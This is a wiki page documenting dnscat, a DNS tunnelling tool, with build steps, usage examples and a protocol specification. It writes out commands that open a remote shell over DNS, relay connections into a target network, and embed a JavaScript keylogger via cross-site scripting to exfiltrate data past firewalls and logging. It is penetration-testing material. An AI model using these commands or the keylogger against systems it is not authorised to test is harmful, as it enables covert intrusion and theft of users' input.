From SkullSecurity
Revision as of 04:16, 21 February 2010 by Ron (talk | contribs) (New page: ==Intro== dnscat is designed in the spirit of netcat, allowing two hosts over the Internet to talk to each other. The major difference between dnscat and netcat, however, is that dnscat...)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search


dnscat is designed in the spirit of netcat, allowing two hosts over the
Internet to talk to each other. The major difference between dnscat and
netcat, however, is that dnscat routes all traffic through the local (or
a chosen) DNS server. This has several major advantages:
* Bypasses pretty much all network firewalls
* Bypasses many local firewalls
* Doesn't pass through the typical gateway/proxy and therefore is stealthy
There are a lot of advantages to using the DNS protocol. There are, of
course, several disadvantages as well:
* Data has to be encoded into alpha-numeric (DNS allows letters (not case sensitive) and numbers)
* DNS is slow -- it's not a direct connection
* The possibility of annoying DNS providers with the amount of traffic being sent through them
* dnscat requires the listener to be an authoritative DNS server
The last point is very important. To actually receive DNS traffic, you
require an authoritative nameserver, preferably one that isn't being used for
anything else. See the next section for more information.
One of the key netcat-like components of dnscat is the -e (or --exec)
argument, which runs a program (such as /bin/sh or cmd.exe) and redirects its
input and output through the connection. The --exec flag can be used on the
client or server.
dnscat has been tested on, in alphabetical order:
* FreeBSD 7.2
* FreeBSD 8.0
* FreeBSD 8.0 amd4
* Mac OS X 10.4 (I think)
* Slackware 13
* Slackware 13-64
* Windows 2000
* Windows 2003
* Windows XP
It should work on any modern version of Linux, FreeBSD, or Windows.

Recursive DNS

For a better (and probably more correct) explanation of DNS, I recommend
Wikipedia: http://en.wikipedia.org/wiki/Domain_Name_System
DNS is, by its very nature, recursive. Unless it's already looked it up, my
local nameserver has no idea where www.google.ca is. How would it? Google's
in charge of knowing where its own servers are. That being said, your server
obviously has the ability to *find* Google. How's it do that?
To understand, we're going to have to take a quick look at how DNS works.
First, you send a request to your local nameserver, say, for
www.google.ca. If it doesn't know the answer, it directs the question to its
nameserver and so on, until the root servers are reached. Those servers know
where to find the proper address for www.google.ca, and will direct the
request to the nameserver set up for 'google.ca', which is ns1.google.ca
(among others). ns1.google.ca receives the request, and responds with the
proper address, which makes its way back to the original machine.
The most important thing to note are:
# The request was originally sent to, a local address that's frequently used
# The request ended up at ns1.google.ca, a server controlled by Google
# Google's responses made it back to the original requester, via
Google was allowed to do this because they are the authority for google.ca.
dnscat, at its core, is as simple as that; it runs on a server that is the
authority for a DNS zone, and our traffic is routed to it via the local DNS
If you aren't sure whether or not you have the authoritative record, checking
is easy. I've included a program called dnstest(.exe) that checks if you are
the authority for a domain by sending a random request and checking if it
comes back. If you plan to run a dnscat listener on a system, it's a good
idea to run dnstest. You can also run dnscat --test, which simply runs
By default, you probably won't be the authoritative nameserver for anything.
To become one, you need to register a domain, and point its records at
yourself. You probably won't be able to use that domain for anything else.


Building this tool should be pretty straightforward.


On Linux/BSD, simply extract the source and run 'make'/'make install':
 $ tar -xvvzf dnscat-x.xx.tar.gz
 $ cd dnscat-x.xx
 $ make
 # make install
Better yet, check out the SVN version and compile/install that:
 $ svn co http://svn.skullsecurity.org:81/ron/security/nbtool-svn
 $ cd nbtool-svn
 $ make
 # make install
If you have any compile errors/warnings, please let me know. I've done my
best to comply with coding standards, so it should compile everywhere.


If you want to build from source on Windows, extract the source, navigate
into the mswin32 directory, open the .sln file in Visual Studio (I used
2008), and build it.


Simple client/server

To start a dnscat server, use the following command line:
dnscat --listen
To start a dnscat client, use this command line:
dnscat --domain <domain>
For example:
dnscat --domain skullseclabs.org
You can also specify the DNS server to use, if the correct one wasn't
chosen by using the --dns argument:
dnscat --domain skullseclabs.org --dns
Remember that the server has to be the authoritative nameserver for the
domain given by the client.
For more options, use --help:
dnscat --help

Remote shell

Typically, to tunnel a shell over DNS, you're going to want to run a standard
server as before:
dnscat --listen
And run the shell on the client side:
dnscat --domain skullseclabs.org --exec "/bin/sh"
dnscat.exe --domain skullseclabs.org --exec "cmd.exe"
On the server, you can now type commands and they'll run on the client

Transfer a file

You can transfer a file to the client from the server like this:
 dnscat --listen > file.out

 dnscat --domain <domain&gtk; < file.in
You can change the direction that the file goes by switching around the
A couple things to note:
* No integrity checking is performed
* There is currently no indication when a transfer is finished

Tunnel another connection

This is my favourite thing to do, and it works really slick. You can use
netcat to open a port-to-port tunnel through dnscat. I like this enough that
I'm going to add netcat-like arguments in the next version.
Let's say that the client can connect to an ssh server on The
server is on an entirely different network and normally has no access to The whole situation is a little confusing because we want the
dnscat client to connect to the ssh server (presumably, in real life, we'd be
able to get a dnscat client on a target network, but not a dnscat server).
"client" and "server" are such ancient terms anyways. I prefer to look at
them as the sender and the receiver.
A diagram might help:
 ssh client
      | (port 1234 via netcat)
 dnscat server
      | (DNS server(s))
 dnscat client
      | (port 22 via netcat)
 ssh server
It's like a good ol' fashioned double netcat relay. Ed Skoudis would be
proud. :)
First, we start the netcat server. The server is going to run netcat, which
listens on port 1234:
dnscat --listen --exec "nc -l -p 1234"
If you connect to that host on port 1234, all data will be forwarded across
DNS to the dnscat client.
Second, on the client side, dnscat connects to port 22:
dnscat --domain skullseclabs.org --exec "nc 22"

 This connects to on port 22. The input/output will both be sent
 across DNS back to the dnscat server, which will then send the traffic to
 whomever is connected on TCP/1234.

 Third and finally, we ssh to our socket:
<pre>ssh -p 1234 ron@
One thing to note: at the moment, doing this is slooooow. But it works, and
it's really, really cool!

Web keylogger

There is an implementation of dnscat in Javascript (jsdnscat) written by
Stefan Penner. It's located in the 'samples' folder of nbtool and conists
of two libraries, one for keylogging and the other for dnscat. There are
several example HTML files for using these, but it really comes down to
these lines:
 <script type='text/javascript' src='js/skullsecurity.all.min.js'></script>
 <script type='text/javascript'>
   SkullSecurity.jsdnscat.config.host = 'yourdomain.com';
Equivalent code can easily be put into a .js file and hosted on your server
for easy use with cross-site scripting.
The best reason for using this as opposed to traditional avenues for data
exfiltration is to get around logging and firewalls -- because dnscat will
respond with a localhost record to all A and AAAA requests, the computer
doesn't actually send an HTTP request to the network, yet you still get
its data.


* Q: Is it legal to route traffic through DNS?
* A: I have no idea. Don't abuse servers you don't own, though.
* Q: Why did you write this?
* A: To prove it could be done.
* Q: Can I implement my own client?
* A: Yes, please do! I'd like to get samples in any language I can. And tell me about it so I can include it (with your permission).
* Q: Can I write my own server?
* A: Sure, but if there are any features missing that you want, let me know and maybe I'll add it to my version.
* Q: Did anybody actually ask these questions, ever?
* A: No. At least, not on purpose.


If you're simply interested in running dnscat and don't care how it works
under the covers, you can probably skip this section entirely. If, however,
you're planning on writing your own client (or server), this is the place to
I can't really think of any cases where you'd want to write your own server,
since my server runs on pretty much any platform, so I'm going to focus
somewhat more on the client side. Feel free to email me telling me why I'm
wrong and why you're planning on writing your own server. Spite is a fine
Before we start looking at the protocol itself, it's worth taking a peek at
how the data is encoded, first. Then we'll get into the different types of
messages (datagram vs. stream) and the various fields.


DNS only allows letters (not necessarily case sensitive), numbers, and
certain limited symbols. Base64-encoding nearly works, but Base64 depends on
using upper/lowercase, so it didn't work out. I ended up settling on
NetBIOS-style encoding, which translates everything to uppercase letters.
Later, I realized that some languages (like SQL) would have a far easier time
with hex encoding, so I added it as an optional encoding type. Details on
each type follow.
In any connection, the client chooses their own encoding and adds it as a
flag. The server should respond with the same encoding the client used, but
isn't required to.
Encodings should not be case sensitive and decoders should make no
assumptions about case. I've seen at least one resolver that normalized the
case before sending.


In short, to use NetBIOS encoding, take each byte of data, split it into its
pair of nibbles, add each nibble to 'A' (0x41 or 65), and add it to the name
as the two bytes (one byte per nibble).
For example, take the letter 'b':
* 'b' is 0x62 in hex.
* 0x6 and 0x2 are its two nibbles.
** 0x6 + 0x41 = 0x47 ('G')
** 0x2 + 0x41 = 0x43 ('C')
* Therefore, 'b' => "GC".
As another example, take the byte 0xC3:
* 0xC and 0x3 are its two nibbles.
** 0xC + 0x41 = 0x4D ('M')
** 0x3 + 0x41 = 0x44 ('D')
* Therefore, 0xC3 => "MD".
And the string "abcdef":
* 'a' => 0x61 => (0x6 + 0x41), (0x1 + 0x41) => 0x47, 0x42 => "GB"
* 'b' => 0x62 => (0x6 + 0x41), (0x2 + 0x41) => 0x47, 0x43 => "GC"
* 'c' => 0x63 => (0x6 + 0x41), (0x3 + 0x41) => 0x47, 0x44 => "GD"
* 'd' => 0x64 => (0x6 + 0x41), (0x4 + 0x41) => 0x47, 0x45 => "GE"
* 'e' => 0x65 => (0x6 + 0x41), (0x5 + 0x41) => 0x47, 0x46 => "GF"
* 'f' => 0x66 => (0x6 + 0x41), (0x6 + 0x41) => 0x47, 0x47 => "GG"
As you can see, every character will be in the range of 'A' to 'O'. These
characters are converted into a string that'll end up being exactly twice as
long as the original.
To decode, you simply do the same thing in reverse. Be sure to convert the
characters to uppercase first, though, to ensure that the case hadn't been
changed somewhere along the line.
The advantages of NetBIOS encoding is that it's easy to implement and, to the
naked eye, doesn't look like anything much, just a stream of characters
(people are more liable to recognize hex than to recognize NetBIOS).


To use hex encoding, which requires the flag 0x10 to be set (more on that
later), simply encode all bytes as their equivalent in hex. So 'A' would be
encoded as "41", 'b' as "62", etc. Like NetBIOS, this exactly doubles the
length of the string.


There are two types of dnscat packets with similar, but different,
# Datagram
# Stream
These are, of course, modeled after TCP and UDP. Like TCP and UDP, they have
fields, flags, etc. The difference is that we're encoding the requests as
domain names.
The various parts of the packet, including any control flags and data being
sent, are encoded into a domain name, as described below, and sent to a DNS
server (typically the local one). The server encodes its response the same
way and returns it as its domain name. This request/response must be done as
a query type that returns a name, not an IP address. Supported types are
CNAME, NS, TXT, and MX records. The server is required to respond with the
same type it receives.
Alternatively, if data is only being sent client to server, using an A or
AAAA record is okay. In that case, the server isn't able to return data to
the client; only an IP address is returned. The IP address can be set to
anything; localhost ( or ::1) are good defaults.
The main reason for using A or AAAA records is for when implementing this on
a platform that normally doesn't make DNS requests, such as a Web browser.
The data is broken up into various fields, such as the signature and flags
(see below for a list). Each of these fields is a separate sub-name in the
DNS packet (field1.field2.field3.etc). Text fields are encoded as-is, numeric
fields are encoded as 32-bit hex (1 - 8 hex characters), and the data fields
are encoded in NetBIOS or hex, as described above.
Because of the nature of DNS, the server never actually knows who the client
is, and therefore cannot initiate a data transfer. As a result, the client
must poll the server for by sending zero-data packets. This must be done to
properly receive data in both datagram and stream modes. Without polling,
data is only sent from the server to the client when the client sends its own
In datagram mode, this polling is optional and is only required if the client
wishes to receive data from the server in a timely fashion. In stream mode,
polling is strongly recommended because the stream connection will time out
if it isn't constantly being polled.
In send-only mode (using A/AAAA records), especially if the client isn't an
actual dnscat implementation, polling is not necessary. The server can't send
data or maintain a connection anyways.


These fields are common to both datagram and stream mode. Unless otherwise
noted, each of these is one field (a part of the domain name between
periods). More information on when the different fields are used is below:
* signature - A shared signature between the client and server. "dnscat" is the default signature. (text)
* flags - Zero or more of the following flags ORed together: (32-bit hex)
** 0x00000001 Stream - Use stream mode (default: datagram).
** 0x00000002 SYN - Client-to-server requesting connection.
** 0x00000004 ACK - Server-to-client accepting connection.
** 0x00000008 RST - Terminating the connection (client-to-server or server-to-client, for any reason).
** 0x00000010 Hex - Use hex encoding (default: NetBIOS).
* error - The error code, if the RST flag is set (32-bit hex).
** 0x00000000 Success - You shouldn't send or receive this.
** 0x00000001 Busy - Sent as a response to SYN if there is already a session active.
** 0x00000002 Invalid in state - A packet had invalid flags or was out of state (sort of a catch-all).
** 0x00000003 Fin - Connection gracefully closed.
** 0x00000004 Bad sequence number.
** 0xFFFFFFFF Testing - only sent when testing a client or server.
* seq - The sequence number in a stream packet (32-bit hex).
* count - The number of upcoming data sections (3 is a good max, 0 is fine for polling) (32-bit hex).
* data - Zero or more fields of encoded data (based on count). The maximum length of this field is 63 in standard DNS implementations.
* garbage - One or more random characters, used to prevent caching (text).
* domain - The domain that you're the authority for (most dnscat servers don't care, but the DNS servers along the way do) (text - 1 or more fields).

Datagram mode

If you're implementing a client, I recommend starting with datagram. All you
have to know is the following format:
Realistically, your packets will probably look like this:
dnscat.0.1.<1 data field>.<garbage>.<domain>


I tried to model stream packets after TCP, and came up with a stripped- down
protocol. Essentially, there are three control flags:
To start a connection, the client sends the server a SYN packet containing
its own sequence number (should be random) and the server responds with an
ACK packet. Note that these aren't standard TCP flags or sequence numbers,
these are implemented entirely in dnscat domain names.
For a client to terminate a connection, it sends an RST packet to the server.
The server responds with a DNS error message (simply indicating
acknowledgement). Clients don't necessarily have to terminate the connection
cleanly, since the server will time out the connection fairly quickly (5
seconds by default).
For a server to terminate a connection, it responds to any packet with an RST
and an appropriate error message. Typically, to cleanly close a connection,
the server should send the Fin error message. The client should not
acknowledge it. Likewise, if a server chooses to reject a connection
(because, for example, a session is already active), it can return an RST to
the initial SYN with the appropriate error code.
Error messages can be RST packets for known error conditions, or actual DNS
errors for unexpected error conditions. A server should respond to every
request it receives in one way or another. DNS servers will repeat messages
until they're acknowledged, which causes unnecessary traffic.
Before acknowledging a packet, updating state, or any other actions, the
sequence number should be validated. The sequence number is the only way of
ensuring that a potential interloper can't screw up an in-progress session.
A SYN or ACK packet looks like this:
An RST packet looks like this:
<signature>.<flags>.<seq>.<error code>.<garbage>.<domain>
And a data packet looks like this:
To put it in the form of a drawing, here is how you parse a dnscat
request/response (datagram or stream):
                                                             |      |
                                                             |  (count>0)
                                                             v      |
                                   +-------+              +------+  |
                      +----------->| count |---(count>0)->| data |--|
                      |            +-------+ |            +------+  |
                      |                ^     |                      |
                      |                |  (count=0)             (count=0)
  START               |                |     |                      |
    |             (datagram)           |     +----------------------|
    |                 |        (not SYN/ACK/RST)                    |
    v                 |                |                            v
 +-----+    +-------+ |             +-----+                     +---------+
 | sig |--->| flags |---(stream)--->| seq |---(SYN/ACK)-------->| garbage |
 +-----+    +-------+               +-----+ |                   +---------+
                                            |                     ^  |
                                            |         +-------+   |  |
                                            +-(RST)-->| error |---+  |
                                                      +-------+      |
                                                           END<--| domain |
And, because I liked that drawing so much, here's the state machine for a
dnscat client:
      +--------------------------(recv RST, invalid)--+
      |                                               |
      v                                               |
   +-----+               +---------+               +-------+
   | NEW |--(send SYN)-->| SYNSENT |--(recv ACK)-->| READY |
   +-----+               +---------+               +-------+
      ^                      |
      |                      |
      +------(recv non-ACK)--+
And finally, the state machine for a dnscat server:
   +-----+                +-------+
   | NEW |--(recv SYN)--->| READY |
   +-----+  (send ACK)    +-------+
      ^                       |
      |                       |
      +---(recv RST, invalid)-+


I have to give a shout-out to the following people, who made my life easier:
* Nmap and Ncat often overcame stupid platform issues, often on Windows, that I ran into. David Fifield was a great help in helping solve weird Windows issues.
* Benjamin Sittler wrote a great getopt replacement that I use!
* Paul Hsieh wrote a great platform-independent stdint.h replacement that I use.
* Tadeusz Pietraszek wrote a dnscat implementation in Java, many years ago. Although I didn't use any of his ideas/code, I'm happy I'm not the first.
* Wireshark is an amazing tool. Period.
* Anybody who helped me test/code.